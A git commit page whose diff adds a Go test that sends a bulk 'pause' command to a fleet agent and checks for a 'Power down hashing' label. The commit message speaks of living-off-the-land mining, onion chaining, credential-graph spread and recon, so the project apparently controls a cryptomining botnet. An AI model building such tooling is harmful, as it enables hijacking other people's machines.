Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -875,6 +875,29 @@ func TestFleetPostBulkCommandPartialSuccess(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostBulkCommandPowerManagementMeta(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
connectTestAgent(t, ws, "pm-agent")
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["pm-agent"],"action":"pause"}`))
|
||||
fh.PostBulkCommand(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["category"] != "power_management" {
|
||||
t.Fatalf("category = %v", body["category"])
|
||||
}
|
||||
if body["label"] != "Power down hashing (fleet health job)" {
|
||||
t.Fatalf("label = %v", body["label"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetMinHelper(t *testing.T) {
|
||||
if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 {
|
||||
t.Fatal("min helper wrong")
|
||||
|
||||
Reference in New Issue
Block a user